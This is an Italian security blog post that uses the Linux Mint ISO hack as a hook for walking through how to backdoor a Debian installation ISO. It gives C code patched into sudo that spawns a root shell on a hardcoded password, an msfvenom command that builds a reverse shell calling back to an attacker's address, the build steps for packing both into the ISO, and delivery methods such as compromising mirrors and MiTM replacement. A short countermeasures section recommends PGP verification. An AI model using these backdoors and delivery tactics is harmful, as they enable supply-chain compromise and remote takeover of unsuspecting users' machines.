Backdoored OS
Table of Contents
Recap
Nella giornata del 21 Febbraio la distribuzione Linux Mint è stata attaccata e, a seguito dell’intrusione, l’aggressore è stato in grado di modificare la ISO della versione 17.3 Cinnamon Edition, inserendo una backdoor al suo interno.
“Hackers made a modified Linux Mint ISO, with a backdoor in it, and managed to hack our website to point to it,”
Clement Lefebvre – head of Linux Mint project
Tralasciando le modalità dell’attacco a WordPress, la successiva compromissione del sito web e del forum (password del database: “upMint.”, seriamente?) e l’analisi del malware installato (Tsunami/Kaiten), l’accaduto mi ha fatto ragionare su uno scenario d’attacco a lungo termine.
Ricreeremo quindi l’ISO di una distribuzione Linux (in questo caso “debian-8.3.0-amd64-netinst.iso”) con l’aggiunta di una backdoor, analizzeremo i metodi utilizzabili per il delivery e le possibili contromisure.
ISO Replacement
Premetto che modificare l’ISO non è un’operazione semplice: abbiamo bisogno di svariati tool, installare dipendenze e sporcarci le mani con i sorgenti ecc.
A tal proposito ringrazio Lorenzo Faletra, team Leader di Parrot Security OS, che ha avuto la pazienza di provare le mie teorie e che mi ha fornito la documentazione necessaria per la ricompilazione e della ISO.
SUDO backdoor
Per consentirci l’accesso fisico alla macchina e il privilege escalation della reverse shell che inseriremo successivamente ho pensato d’inserire una backdoor in “sudo” (che già possiede owner e flag coretti per la chiamata a ‘setuid’ in quanto, per default, appartenente a root:root).
La chiamata alla funzione ‘setuid’ è permessa solo quando il flag ‘setuid’ è impostato, il che permette al programma di essere eseguito con i permessi dell’owner.
Prima di poter modificare e ricompilare “sudo” è bene istallare tutte le dipendenze necessarie:
sudo apt-get build-dep sudo
Ora possiamo scaricare i sorgenti e provvedere ad includere la nostra backdoor all’interno del file ‘sudo.c’:
if (argc == 2) { char *pswdd = "backdoor"; if(strcmp(argv[1], pswdd) == 0) { setuid(0); //Elevate to (root) uid 0 system("/bin/bash"); //Launch a bash shell return 0; //End gracefully } }
Ricompiliamo ora il codice lanciando il seguente comando dalla directory principale di ‘sudo’: ./mkpkg
Reverse Shell
Generiamo la seconda backdoor, in questo caso ho optato per un payload di Metasploit:
msfvenom -p linux/x86/shell_reverse_tcp2 LHOST=192.168.1.1 LPORT=6520 –-smallest -o backdoor -f elf
Ricordandovi di utilizzare porte sopra la 1024, in quanto la shell verrà eseguita con i privilegi dell’utente utilizzatore della ISO.
Shell_reverse_tcp2 genera un payload molto piccolo (circa 70Kb) che anche senza encoding viene ignorato dagli antivirus:
Building the ISO
Per questo passaggio avremo bisogno di live-build e cdebootstrap, una volta installati preparate una cartella ove generare l’ISO.
Ci basterà includere il nostro “sudo” nella directory config/packages/ e il payload in una directory di vostra scelta user/bin.
Ora che tutti I file sono in “posizione” non ci resta che lanciare la build dell’ISO lb build, procedimento lungo e che se concluso senza errori ci restituirà il file. Ultima cosa, mettere in listening metasploit.
Delivering the ISO
Non dimentichiamoci delle cose più banali:
- Come per Mint, compromettere il sito del distributore/mirror e sostituire a ISO.
- Possiamo semplicemente sostituire il DVD della distribuzione che qualche sistemista avrà sulla scrivania.
- Lo stesso vale per le netshare, molte aziende hanno dei repository interni per package e per le ISO dei sistemi operativi e molto spesso queste sono accessibili senza alcun tipo di autenticazione.
E un metodo di delivery più elaborato
- Con un attacco MiTM possiamo rimpiazzare al volo checksum e ISO prima che essa venga scaricata. Nel caso in cui il replace della ISO venga fatto con una risorsa presente in LAN, la velocità di download sarebbe sensibilmente più alta del normale; a tal proposito potreste voler inserire del throtteling durante il download del file.
Countermeasures & Conclusion
L’incidente di Mint cosa ci insegna?
Dato che il download in plain HTTP può essere facilmente modificato (Linux Mint prima dell’attacco non aveva nessun certificato SSL e continua a supportare solo il checksum MD5, lol), che I mirror potrebbero non fornire il download su HTTPS e che comunque è possibile aggirare l`HTTPS, l’unica soluzione sensata è verificare le ISO con PGP, soluzione che non mi pare abbia preso piede tra i maintainer delle più note distribuzioni.
In ogni caso non abbiamo arginato il problema…
La maggioranza degli utenti non verifica il checksum, sicuramente non verificherà le ISO con PGP, metodo più complicato e che magari non conosce.
Il problema alla base è che il processo di verifica delle ISO è complicato, il checksum, se fornito su HTTP, porta ad un finto senso di sicurezza ma soprattutto che si demanda il processo di verifica all’utente finale.
In questo caso avrebbe senso ripensare il procedimento in maniera tale che sia “invisibile” all’utente, automatico e che, ove richiesta l’interazione dell’utente, le informazioni siano accessibili a tutti I livelli di competenze tecniche.
di VoidSec